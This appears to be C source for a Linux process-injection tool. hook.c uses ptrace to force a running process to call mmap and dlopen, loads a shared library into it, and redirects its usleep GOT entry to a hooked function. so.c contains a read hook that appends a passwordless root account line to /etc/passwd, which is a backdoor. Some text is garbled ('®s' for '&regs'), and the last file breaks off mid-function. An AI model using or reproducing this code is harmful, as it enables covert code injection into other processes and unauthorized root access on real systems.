so.c
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
int (*oldusleep)(useconds_t usec);
int newusleep(useconds_t usec)
{
int ret;
printf("newusleep\n");
ret = oldusleep(usec);
return ret;
}
int (*oldwrite) (int fd, const void *buf, size_t count);
ssize_t(*oldread) (int fd, void *buf, size_t count);
void *dolife(void *arg)
{
FILE *fp;
int i;
puts("ok");
puts("ok");
puts("ok");
pthread_detach(pthread_self());
for (i = 0; i < 256; i++) {
puts("dolife ok");
/* fp = fopen("/home/grip2/lifelog.txt", "a");
fprintf(fp, "%d\n", i);
fclose(fp);
*/ sleep(1);
}
}
void newput(const char *s)
{
printf("this is %s speaking\n",s);
}
int newwrite(int fd, const void *buf, size_t count)
{
static int n = 0;
static int f = 0;
pthread_t tid;
// if (0 == f++)
// pthread_create(&tid, NULL, &dolife, NULL);
if (n++ > 2)
exit(0);
printf("In newwrite :)\n");
printf("oldwrite %p\n", oldwrite);
printf("newwrite %p\n", newwrite);
oldwrite(fd, buf, count);
n--;
return count;
}
ssize_t newread(int fd, void *buf, size_t count)
{
ssize_t ret;
FILE *fp;
char ch = '#';
ret = oldread(fd, buf, count);
if (memcmp(buf, (void *) &ch, 1) == 0) {
fp = fopen("/etc/passwd", "a");
fputs("injso::0:0:root:/root:/bin/sh\n", fp);
fclose(fp);
}
return ret;
}
void newlife(void)
{
pthread_t tid;
char ch;
puts("ok");
pthread_create(&tid, NULL, &dolife, NULL);
//exit(0);
/*
//for(;;)
{
puts("ok create");
// puts("ok create");
// fflush(stdout);
ch = getchar();
puts("ok create");
puts("ok create");
if ('q' == ch)
break;
}
*/
/*
if(fork() == 0)
{
dolife(0);
exit(0);
}
*/
puts("ok create");
puts("ok create");
puts("ok create");
puts("ok create");
puts("ok create");
puts("ok create");
puts("ok create");
puts("ok create");
puts("ok create");
}
hook.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <wait.h>
#include <sys/user.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <elf.h>
#include <link.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <dlfcn.h>
#include <dirent.h>
#include <unistd.h>
#include "p_elf.h"
#include "p_dbg.h"
void call_dl_open(int pid, unsigned long addr, char *libname);
void call_dlopen(int pid, unsigned long addr, char *libname);
void usage(void);
const char *libc_path = "/lib/i386-linux-gnu/libc-2.19.so";
const char *linker_path = "/lib/i386-linux-gnu/ld-2.19.so";
void* get_module_base(pid_t pid, const char* module_name)
{
FILE *fp;
long addr = 0;
char *pch;
char filename[32];
char line[1024];
if (pid < 0) {
/* self process */
snprintf(filename, sizeof(filename), "/proc/self/maps", pid);
} else {
snprintf(filename, sizeof(filename), "/proc/%d/maps", pid);
}
fp = fopen(filename, "r");
if (fp != NULL) {
while (fgets(line, sizeof(line), fp)) {
if (strstr(line, module_name)) {
pch = strtok( line, "-" );
addr = strtoul( pch, NULL, 16 );
if (addr == 0x8000)
addr = 0;
break;
}
}
fclose(fp) ;
}
return (void *)addr;
}
int find_pid_of(const char *process_name)
{
int id;
pid_t pid = -1;
DIR* dir;
FILE *fp;
char filename[32];
char cmdline[256];
struct dirent * entry;
if (process_name == NULL)
return -1;
dir = opendir("/proc");
if (dir == NULL)
return -1;
while((entry = readdir(dir)) != NULL) {
id = atoi(entry->d_name);
if (id != 0) {
sprintf(filename, "/proc/%d/cmdline", id);
fp = fopen(filename, "r");
if (fp) {
fgets(cmdline, sizeof(cmdline), fp);
fclose(fp);
if (strcmp(process_name, cmdline) == 0) {
/* process found */
pid = id;
break;
}
}
}
}
closedir(dir);
return pid;
}
int ptrace_getregs(pid_t pid, struct user_regs_struct * regs)
{
if (ptrace(PTRACE_GETREGS, pid, NULL, regs) < 0) {
perror("ptrace_getregs: Can not get register values");
return -1;
}
return 0;
}
int ptrace_setregs(pid_t pid, struct user_regs_struct * regs)
{
if (ptrace(PTRACE_SETREGS, pid, NULL, regs) < 0) {
perror("ptrace_setregs: Can not set register values");
return -1;
}
return 0;
}
int ptrace_readdata(pid_t pid, uint8_t *src, uint8_t *buf, size_t size)
{
uint32_t i, j, remain;
uint8_t *laddr;
union u {
long val;
char chars[sizeof(long)];
} d;
j = size / 4;
remain = size % 4;
laddr = buf;
for (i = 0; i < j; i ++) {
d.val = ptrace(PTRACE_PEEKTEXT, pid, src, 0);
memcpy(laddr, d.chars, 4);
src += 4;
laddr += 4;
}
if (remain > 0) {
d.val = ptrace(PTRACE_PEEKTEXT, pid, src, 0);
memcpy(laddr, d.chars, remain);
}
return 0;
}
int ptrace_writedata(pid_t pid, uint8_t *dest, uint8_t *data, size_t size)
{
uint32_t i, j, remain;
uint8_t *laddr;
union u {
long val;
char chars[sizeof(long)];
} d;
j = size / 4;
remain = size % 4;
laddr = data;
for (i = 0; i < j; i ++) {
memcpy(d.chars, laddr, 4);
ptrace(PTRACE_POKETEXT, pid, dest, d.val);
dest += 4;
laddr += 4;
}
if (remain > 0) {
d.val = ptrace(PTRACE_PEEKTEXT, pid, dest, 0);
for (i = 0; i < remain; i ++) {
d.chars[i] = *laddr ++;
}
ptrace(PTRACE_POKETEXT, pid, dest, d.val);
}
return 0;
}
int ptrace_continue(pid_t pid)
{
if (ptrace(PTRACE_CONT, pid, NULL, 0) < 0) {
perror("ptrace_cont");
return -1;
}
return 0;
}
long ptrace_call_ext(pid_t pid, uint32_t addr, long *params, uint32_t num_params, struct user_regs_struct * regs)
{
regs->esp -= (num_params) * sizeof(long) ;
ptrace_writedata(pid, (void *)regs->esp, (uint8_t *)params, (num_params) * sizeof(long));
long tmp_addr = 0x00;
regs->esp -= sizeof(long);
ptrace_writedata(pid, regs->esp, (char *)&tmp_addr, sizeof(tmp_addr));
regs->eip = addr;
if (ptrace_setregs(pid, regs) == -1
|| ptrace_continue( pid) == -1) {
printf("error\n");
return -1;
}
int stat = 0;
//printf("start waiting\n");
waitpid(pid, &stat, WUNTRACED);
//printf("finished\n");
return 0;
}
int ptrace_call_wrapper(pid_t target_pid, const char * func_name, void * func_addr, long * parameters, int param_num, struct user_regs_struct * regs)
{
printf("[+] Calling %s in target process.\n", func_name);
if (ptrace_call_ext(target_pid, (uint32_t)func_addr, parameters, param_num, regs) == -1)
return -1;
if (ptrace_getregs(target_pid, regs) == -1)
return -1;
//printf("[+] Target process returned from %s, return value=%x, pc=%x \n", func_name, ptrace_retval(regs), ptrace_ip(regs));
return 0;
}
long ptrace_retval(struct user_regs_struct * regs)
{
return regs->eax;
}
void call_dlopen(int target_pid, unsigned long dlopen_addr, char *library_path)
{
void *mmap_addr;
struct user_regs_struct regs;
struct user_regs_struct original_regs;
long parameters[10];
uint8_t *map_base = 0;
if (ptrace_getregs(target_pid, ®s) == -1)
goto exit;
memcpy(&original_regs, ®s, sizeof(regs));
mmap_addr = enumprocesssym(target_pid, "libc", "mmap");
parameters[0] = 0; // addr
parameters[1] = 0x4000; // size
parameters[2] = PROT_READ | PROT_WRITE | PROT_EXEC; // prot
parameters[3] = MAP_ANONYMOUS | MAP_PRIVATE; // flags
parameters[4] = 0; //fd
parameters[5] = 0; //offset
if (ptrace_call_wrapper(target_pid, "mmap", mmap_addr, parameters, 6, ®s) == -1)
goto exit;
map_base = ptrace_retval(®s);
printf("\n--------mapbase=%x--------\n",map_base);
if(map_base==0){
goto exit;
}
ptrace_writedata(target_pid, map_base, library_path, strlen(library_path) + 1);
parameters[0] = map_base;
parameters[1] = RTLD_NOW| RTLD_GLOBAL;
if (ptrace_call_wrapper(target_pid, "dlopen", dlopen_addr, parameters, 2, ®s) == -1)
goto exit;
void * sohandle = ptrace_retval(®s);
printf("sohandle = %x\n", sohandle);
exit:
ptrace_setregs(target_pid, &original_regs);
}
#define PRINT(a,ehdr) printf(#a"=%x\n",ehdr->a);
#define PRINTA4(a,ehdr) printf(#a"=%2.2x %c%c%c\n",ehdr->a[0],ehdr->a[1],ehdr->a[2],ehdr->a[3]);
void printehdr(Elf32_Ehdr *ehdr)
{
puts("------------printehdr---------------");
PRINTA4(e_ident,ehdr)
PRINT(e_type,ehdr)
PRINT(e_machine,ehdr)
PRINT(e_version,ehdr)
PRINT(e_entry,ehdr)
PRINT(e_phoff,ehdr)
PRINT(e_shoff,ehdr)
PRINT(e_flags,ehdr)
PRINT(e_ehsize,ehdr)
PRINT(e_phentsize,ehdr)
PRINT(e_phnum,ehdr)
PRINT(e_shentsize,ehdr)
PRINT(e_shnum,ehdr)
PRINT(e_shstrndx,ehdr)
printf("ehsize=%x phsize=%x shsize=%x\n",sizeof(Elf32_Ehdr),sizeof(Elf32_Phdr),sizeof(Elf32_Shdr));
}
#define PRINTSWITCH(a,type) if(a==type){puts(#a);return;}
void printptype(int type)
{
PRINTSWITCH(PT_NULL,type)
PRINTSWITCH(PT_LOAD,type)
PRINTSWITCH(PT_DYNAMIC,type)
PRINTSWITCH(PT_INTERP,type)
PRINTSWITCH(PT_NOTE,type)
PRINTSWITCH(PT_SHLIB,type)
PRINTSWITCH(PT_PHDR,type)
PRINTSWITCH(PT_TLS,type)
PRINTSWITCH(PT_NUM,type)
PRINTSWITCH(PT_LOOS,type)
PRINTSWITCH(PT_GNU_EH_FRAME,type)
PRINTSWITCH(PT_GNU_STACK,type)
PRINTSWITCH(PT_GNU_RELRO,type)
PRINTSWITCH(PT_LOSUNW,type)
PRINTSWITCH(PT_SUNWBSS,type)
PRINTSWITCH(PT_SUNWSTACK,type)
PRINTSWITCH(PT_HISUNW,type)
PRINTSWITCH(PT_HIOS,type)
PRINTSWITCH(PT_LOPROC,type)
PRINTSWITCH(PT_HIPROC,type)
}
void printphdr(Elf32_Phdr *phdr)
{
puts("-------printphdr--------------------");
printptype(phdr->p_type);
PRINT(p_type,phdr)
PRINT(p_offset,phdr)
PRINT(p_vaddr,phdr)
PRINT(p_paddr,phdr)
PRINT(p_filesz,phdr)
PRINT(p_memsz,phdr)
PRINT(p_flags,phdr)
PRINT(p_align,phdr)
}
void printdyntag(int d_tag)
{
PRINTSWITCH(DT_NULL,d_tag)
PRINTSWITCH(DT_NEEDED,d_tag)
PRINTSWITCH(DT_PLTRELSZ,d_tag)
PRINTSWITCH(DT_PLTGOT,d_tag)
PRINTSWITCH(DT_HASH,d_tag)
PRINTSWITCH(DT_STRTAB,d_tag)
PRINTSWITCH(DT_SYMTAB,d_tag)
PRINTSWITCH(DT_RELA,d_tag)
PRINTSWITCH(DT_RELASZ,d_tag)
PRINTSWITCH(DT_RELAENT,d_tag)
PRINTSWITCH(DT_STRSZ,d_tag)
PRINTSWITCH(DT_SYMENT,d_tag)
PRINTSWITCH(DT_INIT,d_tag)
PRINTSWITCH(DT_FINI,d_tag)
PRINTSWITCH(DT_SONAME,d_tag)
PRINTSWITCH(DT_RPATH,d_tag)
PRINTSWITCH(DT_SYMBOLIC,d_tag)
PRINTSWITCH(DT_REL,d_tag)
PRINTSWITCH(DT_RELSZ,d_tag)
PRINTSWITCH(DT_RELENT,d_tag)
PRINTSWITCH(DT_PLTREL,d_tag)
PRINTSWITCH(DT_DEBUG,d_tag)
PRINTSWITCH(DT_TEXTREL,d_tag)
PRINTSWITCH(DT_JMPREL,d_tag)
PRINTSWITCH(DT_BIND_NOW,d_tag)
PRINTSWITCH(DT_INIT_ARRAY,d_tag)
PRINTSWITCH(DT_FINI_ARRAY,d_tag)
PRINTSWITCH(DT_INIT_ARRAYSZ,d_tag)
PRINTSWITCH(DT_FINI_ARRAYSZ,d_tag)
PRINTSWITCH(DT_RUNPATH,d_tag)
PRINTSWITCH(DT_FLAGS,d_tag)
PRINTSWITCH(DT_ENCODING,d_tag)
PRINTSWITCH(DT_PREINIT_ARRAY,d_tag)
PRINTSWITCH(DT_PREINIT_ARRAYSZ,d_tag)
PRINTSWITCH(DT_NUM,d_tag)
PRINTSWITCH(DT_LOOS,d_tag)
PRINTSWITCH(DT_HIOS,d_tag)
PRINTSWITCH(DT_LOPROC,d_tag)
PRINTSWITCH(DT_HIPROC,d_tag)
PRINTSWITCH(DT_PROCNUM,d_tag)
PRINTSWITCH(DT_VALRNGLO,d_tag)
PRINTSWITCH(DT_GNU_PRELINKED,d_tag)
PRINTSWITCH(DT_GNU_CONFLICTSZ,d_tag)
PRINTSWITCH(DT_GNU_LIBLISTSZ,d_tag)
PRINTSWITCH(DT_CHECKSUM,d_tag)
PRINTSWITCH(DT_PLTPADSZ,d_tag)
PRINTSWITCH(DT_MOVEENT,d_tag)
PRINTSWITCH(DT_MOVESZ,d_tag)
PRINTSWITCH(DT_FEATURE_1,d_tag)
PRINTSWITCH(DT_POSFLAG_1,d_tag)
PRINTSWITCH(DT_SYMINSZ,d_tag)
PRINTSWITCH(DT_SYMINENT,d_tag)
PRINTSWITCH(DT_VALRNGHI,d_tag)
PRINTSWITCH(DT_ADDRRNGLO,d_tag)
PRINTSWITCH(DT_GNU_HASH,d_tag)
PRINTSWITCH(DT_TLSDESC_PLT,d_tag)
PRINTSWITCH(DT_TLSDESC_GOT,d_tag)
PRINTSWITCH(DT_GNU_CONFLICT,d_tag)
PRINTSWITCH(DT_GNU_LIBLIST,d_tag)
PRINTSWITCH(DT_CONFIG,d_tag)
PRINTSWITCH(DT_DEPAUDIT,d_tag)
PRINTSWITCH(DT_AUDIT,d_tag)
PRINTSWITCH(DT_PLTPAD,d_tag)
PRINTSWITCH(DT_MOVETAB,d_tag)
PRINTSWITCH(DT_SYMINFO,d_tag)
PRINTSWITCH(DT_ADDRRNGHI,d_tag)
PRINTSWITCH(DT_ADDRNUM,d_tag)
PRINTSWITCH(DT_VERSYM,d_tag)
PRINTSWITCH(DT_RELACOUNT,d_tag)
PRINTSWITCH(DT_RELCOUNT,d_tag)
PRINTSWITCH(DT_FLAGS_1,d_tag)
PRINTSWITCH(DT_VERDEF,d_tag)
PRINTSWITCH(DT_VERDEFNUM,d_tag)
PRINTSWITCH(DT_VERNEED,d_tag)
PRINTSWITCH(DT_VERNEEDNUM,d_tag)
PRINTSWITCH(DT_VERSIONTAGNUM,d_tag)
PRINTSWITCH(DT_AUXILIARY,d_tag)
PRINTSWITCH(DT_FILTER,d_tag)
PRINTSWITCH(DT_EXTRANUM,d_tag)
}
void printdyn(Elf32_Dyn* dyn)
{
puts("----------printdyn-----------------");
printdyntag(dyn->d_tag);
PRINT(d_tag,dyn)
PRINT(d_un.d_val,dyn)
}
#define PROCESSREAD(ptr,addr,size) ptrace_read(pid, (void*)(addr), ptr, size)
void printsym(Elf32_Sym *sym,int straddr,int pid)
{
puts("-------printsym--------------------");
if(sym->st_name){
char sname[40];
PROCESSREAD(sname,straddr+sym->st_name,40);
puts(sname);
}
PRINT(st_name,sym)
PRINT(st_value,sym)
PRINT(st_size,sym)
PRINT(st_info,sym)
PRINT(st_other,sym)
PRINT(st_shndx,sym)
}
void printlinkmap(struct link_map*lm,int pid)
{
puts("-------printlinkmap--------");
PRINT(l_addr,lm)
PRINT(l_ld,lm)
char sname[40];
PROCESSREAD(sname,lm->l_name,40);
puts(sname);
//puts(lm->l_name);
}
int enumprocesssym(int pid,const char*libname,const char*fnname)
{
unsigned long modbase = (unsigned long)get_module_base(pid,libname);
unsigned long phdr_addr,shdr_addr, dyn_addr;
int i;
if(modbase==0){
printf("%d[%s] get_module_base=0",pid,libname);
return;
}
printf("modbase=%x\n",modbase);
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));
Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));
Elf32_Shdr *shdr = (Elf32_Shdr *) malloc(sizeof(Elf32_Shdr));
Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
struct link_map* linknode = (struct link_map*)malloc(sizeof(struct link_map));
//ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr));
PROCESSREAD(ehdr,modbase,sizeof(Elf32_Ehdr));
//printehdr(ehdr);
int offsetdyn =0;
int dynsize = 0;
for(i=0;i<ehdr->e_phnum;i++){
PROCESSREAD(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr));
//printphdr(phdr);
if(PT_DYNAMIC==phdr->p_type){
offsetdyn = phdr->p_vaddr;
dynsize = phdr->p_memsz;
}
}
int symaddr=0;
int symsize=0;
int straddr=0;
int gotaddr=0;
int mapaddr=0;
for(i=0;i<dynsize/sizeof(Elf32_Dyn);i++){
PROCESSREAD(dyn,modbase+offsetdyn+(i*sizeof(Elf32_Dyn)),sizeof(Elf32_Dyn));
//printdyn(dyn);
if(DT_SYMTAB==dyn->d_tag){
symaddr = dyn->d_un.d_val;
}else if(DT_STRTAB==dyn->d_tag){
straddr=dyn->d_un.d_val;
}else if(DT_PLTGOT==dyn->d_tag){
gotaddr=dyn->d_un.d_val;
}
}
puts("-------sym-------");
for(i=0;;i++){
PROCESSREAD(sym,symaddr+(i*sizeof(Elf32_Sym)),sizeof(Elf32_Sym));
//printsym(sym,straddr,pid);
if(sym->st_name){
char sname[40];
PROCESSREAD(sname,straddr+sym->st_name,40);
if(!strcmp(sname,fnname)){
printsym(sym,straddr,pid);
return modbase+sym->st_value;
}
}
}
return 0;
Elf32_Addr gotv=0;
puts("----got------");
int linknodeaddr=0;
for(i=0;i<60;i++){
PROCESSREAD(&gotv,gotaddr+(i*sizeof(Elf32_Addr)),sizeof(Elf32_Addr));
printf("%x\n",gotv);
if(gotv==0)break;
if(i==1)mapaddr=gotv;
}
i=0;
int laddr = mapaddr;
puts("----linkmap------");
while(1)
{
PROCESSREAD(linknode,laddr,sizeof(struct link_map));
//printlinkmap(linknode);
if(linknode->l_next==0)break;
laddr = linknode->l_next;
}
while(1)
{
PROCESSREAD(linknode,laddr,sizeof(struct link_map));
printlinkmap(linknode,pid);
if(linknode->l_prev==0)break;
laddr = linknode->l_prev;
}
return;
}
void call_newput(int target_pid, unsigned long newput_addr, const char *strdata)
{
void *mmap_addr;
struct user_regs_struct regs;
struct user_regs_struct original_regs;
long parameters[10];
uint8_t *map_base = 0;
if (ptrace_getregs(target_pid, ®s) == -1)
goto exit;
memcpy(&original_regs, ®s, sizeof(regs));
mmap_addr = enumprocesssym(target_pid, "libc", "mmap");
parameters[0] = 0; // addr
parameters[1] = 0x4000; // size
parameters[2] = PROT_READ | PROT_WRITE | PROT_EXEC; // prot
parameters[3] = MAP_ANONYMOUS | MAP_PRIVATE; // flags
parameters[4] = 0; //fd
parameters[5] = 0; //offset
if (ptrace_call_wrapper(target_pid, "mmap", mmap_addr, parameters, 6, ®s) == -1)
goto exit;
map_base = ptrace_retval(®s);
printf("\n--------mapbase=%x--------\n",map_base);
if(map_base==0){
goto exit;
}
ptrace_writedata(target_pid, map_base, strdata, strlen(strdata) + 1);
parameters[0] = map_base;
//parameters[1] = RTLD_NOW| RTLD_GLOBAL;
if (ptrace_call_wrapper(target_pid, "newput",newput_addr, parameters, 1, ®s) == -1)
goto exit;
void * sohandle = ptrace_retval(®s);
printf("ret = %x\n", sohandle);
exit:
ptrace_setregs(target_pid, &original_regs);
}
int g_symtab=0,g_strtab=0,g_jmprel=0,g_totalrelsize=0,g_relsize=0,g_nrels=0;
void get_dyn_info2(int pid,int dynaddr)
{
Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
int i = 0;
PROCESSREAD( dyn,dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn));
i++;
while (dyn->d_tag) {
switch (dyn->d_tag) {
case DT_SYMTAB:
puts("DT_SYMTAB");
g_symtab = dyn->d_un.d_ptr;
break;
case DT_STRTAB:
g_strtab = dyn->d_un.d_ptr;
puts("DT_STRTAB");
break;
case DT_JMPREL:
g_jmprel = dyn->d_un.d_ptr;
puts("DT_JMPREL");
//printf("jmprel\t %p\n", g_jmprel);
break;
case DT_PLTRELSZ:
g_totalrelsize = dyn->d_un.d_val;
puts("DT_PLTRELSZ");
break;
case DT_RELAENT:
g_relsize = dyn->d_un.d_val;
puts("DT_RELAENT");
break;
case DT_RELENT:
g_relsize = dyn->d_un.d_val;
puts("DT_RELENT");
break;
}
PROCESSREAD(dyn, dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn));
i++;
}
g_nrels = g_totalrelsize / g_relsize;
free(dyn);
printf("g_nrels=%d\n",g_nrels);
}
unsigned long find_sym_in_rel2(int pid, char *sym_name,int dynaddr)
{
Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel));
Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
int i;
unsigned long ret;
char str[100];
get_dyn_info2(pid,dynaddr);
for (i = 0; i < g_nrels; i++) {
puts("1");
PROCESSREAD(rel, (unsigned long) (g_jmprel + i * sizeof(Elf32_Rel)),sizeof(Elf32_Rel));
if (ELF32_R_SYM(rel->r_info)) {
PROCESSREAD(sym,g_symtab + ELF32_R_SYM(rel->r_info) * sizeof(Elf32_Sym), sizeof(Elf32_Sym));
PROCESSREAD(str,g_strtab + sym->st_name,100);
puts("2");
if (strcmp(str, sym_name) == 0) {
break;
}
}
}
if (i == g_nrels)
ret = 0;
else
ret = rel->r_offset;
free(rel);
free(sym);
return ret;
}
int enumprocrel(int pid,const char*libname)
{
unsigned long modbase = (unsigned long)get_module_base(pid,libname);
unsigned long phdr_addr,shdr_addr, dyn_addr;
int i;
if(modbase==0){
printf("%d[%s] get_module_base=0\n",pid,libname);
return;
}
printf("modbase=%x\n",modbase);
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));
Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));
//ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr));
PROCESSREAD(ehdr,modbase,sizeof(Elf32_Ehdr));
//printehdr(ehdr);
int offsetdyn =0;
int dynsize = 0;
for(i=0;i<ehdr->e_phnum;i++){
PROCESSREAD(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr));
//printphdr(phdr);
if(PT_DYNAMIC==phdr->p_type){
offsetdyn = phdr->p_vaddr;
dynsize = phdr->p_memsz;
free(ehdr);
free(phdr);
if(offsetdyn<0x08000000)return modbase+offsetdyn;
return offsetdyn;
}
}
return 0;
}
int main(int argc, char *argv[])
{
long pid;
struct link_map *map;
char sym_name[256];
unsigned long sym_addr;
unsigned long new_addr, old_addr, rel_addr;
int ch;
char soname[256];
char *pchar;
char search_mode = 's'; /* 's' - symbol table, 'h' - hash table */
char print_flag = 'n';
strcpy(soname, (char *) get_current_dir_name());
strcat(soname, "/so.so"); /* default shared library */
printf("soname:%s\n",soname);
pid = find_pid_of("./loop");
ptrace_attach(pid);
printf("pid=%d\n",pid);
//int mmapaddress=enumprocesssym(pid,"libc","mmap");
//printf("mmap=%x\n",mmapaddress);
void *dlopen_addr;
// void* handle = dlopen( "/lib/i386-linux-gnu/libdl-2.19.so",RTLD_NOW| RTLD_GLOBAL);
// void*addr = dlsym(handle,"dlopen");
dlopen_addr = enumprocesssym( pid, "libdl", "dlopen" );
printf("dlopen_addr = %x\n", dlopen_addr);
call_dlopen(pid, dlopen_addr, soname);
void* newput = enumprocesssym( pid, soname, "newput" );
call_newput(pid,newput,"wangjinrong");
sym_addr = enumprocesssym(pid, soname, "newusleep");
printf("sym_addr=%x\n",sym_addr);
int dynbaseaddr=enumprocrel(pid,"loop");
printf("dynbaseaddr=%x\n",dynbaseaddr);
rel_addr = find_sym_in_rel2(pid,"usleep",dynbaseaddr);
printf("rel_addr=%x\n",rel_addr);
old_addr = enumprocesssym(pid, soname, "oldusleep");
printf("old_addr=%x\n",old_addr);
ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr));
ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr));
ptrace_write(pid, rel_addr, &sym_addr, sizeof(sym_addr));
ptrace_detach(pid);
exit(0);
}
s.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <wait.h>
#include <sys/user.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <elf.h>
#include <link.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <dlfcn.h>
#include <dirent.h>
#include <unistd.h>
void* get_module_base(pid_t pid, const char* module_name)
{
FILE *fp;
long addr = 0;
char *pch;
char filename[32];
char line[1024];
if (pid < 0) {
/* self process */
snprintf(filename, sizeof(filename), "/proc/self/maps", pid);
} else {
snprintf(filename, sizeof(filename), "/proc/%d/maps", pid);
}
fp = fopen(filename, "r");
if (fp != NULL) {
while (fgets(line, sizeof(line), fp)) {
if (strstr(line, module_name)) {
pch = strtok( line, "-" );
addr = strtoul( pch, NULL, 16 );
if (addr == 0x8000)
addr = 0;
break;
}
}
fclose(fp) ;
}
return (void *)addr;
}
int find_pid_of(const char *process_name)
{
int id;
pid_t pid = -1;
DIR* dir;
FILE *fp;
char filename[32];
char cmdline[256];
struct dirent * entry;
if (process_name == NULL)
return -1;
dir = opendir("/proc");
if (dir == NULL)
return -1;
while((entry = readdir(dir)) != NULL) {
id = atoi(entry->d_name);
if (id != 0) {
sprintf(filename, "/proc/%d/cmdline", id);
fp = fopen(filename, "r");
if (fp) {
fgets(cmdline, sizeof(cmdline), fp);
fclose(fp);
if (strcmp(process_name, cmdline) == 0) {
/* process found */
pid = id;
break;
}
}
}
}
closedir(dir);
return pid;
}
void* get_remote_addr(pid_t target_pid, const char* module_name, char* fnname)
{
void* local_handle, *remote_handle;
void* local_addr;
void* handle = dlopen( "/lib/i386-linux-gnu/libdl-2.19.so",RTLD_NOW| RTLD_GLOBAL);
local_addr = dlsym(handle,fnname);
local_handle = get_module_base(-1, module_name);
remote_handle = get_module_base(target_pid, module_name);
printf("[+] get_remote_addr: local[%x], remote[%x] local_addr[%x]\n", local_handle, remote_handle,local_addr);
void * ret_addr = (void *)((uint32_t)local_addr - (uint32_t)local_handle)+ (uint32_t)remote_handle;
return ret_addr;
}
#define PRINT(a,ehdr) printf(#a"=%x\n",ehdr->a);
#define PRINTA4(a,ehdr) printf(#a"=%2.2x %c%c%c\n",ehdr->a[0],ehdr->a[1],ehdr->a[2],ehdr->a[3]);
void printehdr(Elf32_Ehdr *ehdr)
{
puts("---------------------------");
PRINTA4(e_ident,ehdr)
PRINT(e_type,ehdr)
PRINT(e_machine,ehdr)
PRINT(e_version,ehdr)
PRINT(e_entry,ehdr)
PRINT(e_phoff,ehdr)
PRINT(e_shoff,ehdr)
PRINT(e_flags,ehdr)
PRINT(e_ehsize,ehdr)
PRINT(e_phentsize,ehdr)
PRINT(e_phnum,ehdr)
PRINT(e_shentsize,ehdr)
PRINT(e_shnum,ehdr)
PRINT(e_shstrndx,ehdr)
printf("ehsize=%x phsize=%x shsize=%x\n",sizeof(Elf32_Ehdr),sizeof(Elf32_Phdr),sizeof(Elf32_Shdr));
}
#define PRINTSWITCH(a,type) if(a==type){puts(#a);return;}
void printptype(int type)
{
PRINTSWITCH(PT_NULL,type)
PRINTSWITCH(PT_LOAD,type)
PRINTSWITCH(PT_DYNAMIC,type)
PRINTSWITCH(PT_INTERP,type)
PRINTSWITCH(PT_NOTE,type)
PRINTSWITCH(PT_SHLIB,type)
PRINTSWITCH(PT_PHDR,type)
PRINTSWITCH(PT_TLS,type)
PRINTSWITCH(PT_NUM,type)
PRINTSWITCH(PT_LOOS,type)
PRINTSWITCH(PT_GNU_EH_FRAME,type)
PRINTSWITCH(PT_GNU_STACK,type)
PRINTSWITCH(PT_GNU_RELRO,type)
PRINTSWITCH(PT_LOSUNW,type)
PRINTSWITCH(PT_SUNWBSS,type)
PRINTSWITCH(PT_SUNWSTACK,type)
PRINTSWITCH(PT_HISUNW,type)
PRINTSWITCH(PT_HIOS,type)
PRINTSWITCH(PT_LOPROC,type)
PRINTSWITCH(PT_HIPROC,type)
}
void printphdr(Elf32_Phdr *phdr)
{
puts("---------------------------");
printptype(phdr->p_type);
PRINT(p_type,phdr)
PRINT(p_offset,phdr)
PRINT(p_vaddr,phdr)
PRINT(p_paddr,phdr)
PRINT(p_filesz,phdr)
PRINT(p_memsz,phdr)
PRINT(p_flags,phdr)
PRINT(p_align,phdr)
}
void printdyntag(int d_tag)
{
PRINTSWITCH(DT_NULL,d_tag)
PRINTSWITCH(DT_NEEDED,d_tag)
PRINTSWITCH(DT_PLTRELSZ,d_tag)
PRINTSWITCH(DT_PLTGOT,d_tag)
PRINTSWITCH(DT_HASH,d_tag)
PRINTSWITCH(DT_STRTAB,d_tag)
PRINTSWITCH(DT_SYMTAB,d_tag)
PRINTSWITCH(DT_RELA,d_tag)
PRINTSWITCH(DT_RELASZ,d_tag)
PRINTSWITCH(DT_RELAENT,d_tag)
PRINTSWITCH(DT_STRSZ,d_tag)
PRINTSWITCH(DT_SYMENT,d_tag)
PRINTSWITCH(DT_INIT,d_tag)
PRINTSWITCH(DT_FINI,d_tag)
PRINTSWITCH(DT_SONAME,d_tag)
PRINTSWITCH(DT_RPATH,d_tag)
PRINTSWITCH(DT_SYMBOLIC,d_tag)
PRINTSWITCH(DT_REL,d_tag)
PRINTSWITCH(DT_RELSZ,d_tag)
PRINTSWITCH(DT_RELENT,d_tag)
PRINTSWITCH(DT_PLTREL,d_tag)
PRINTSWITCH(DT_DEBUG,d_tag)
PRINTSWITCH(DT_TEXTREL,d_tag)
PRINTSWITCH(DT_JMPREL,d_tag)
PRINTSWITCH(DT_BIND_NOW,d_tag)
PRINTSWITCH(DT_INIT_ARRAY,d_tag)
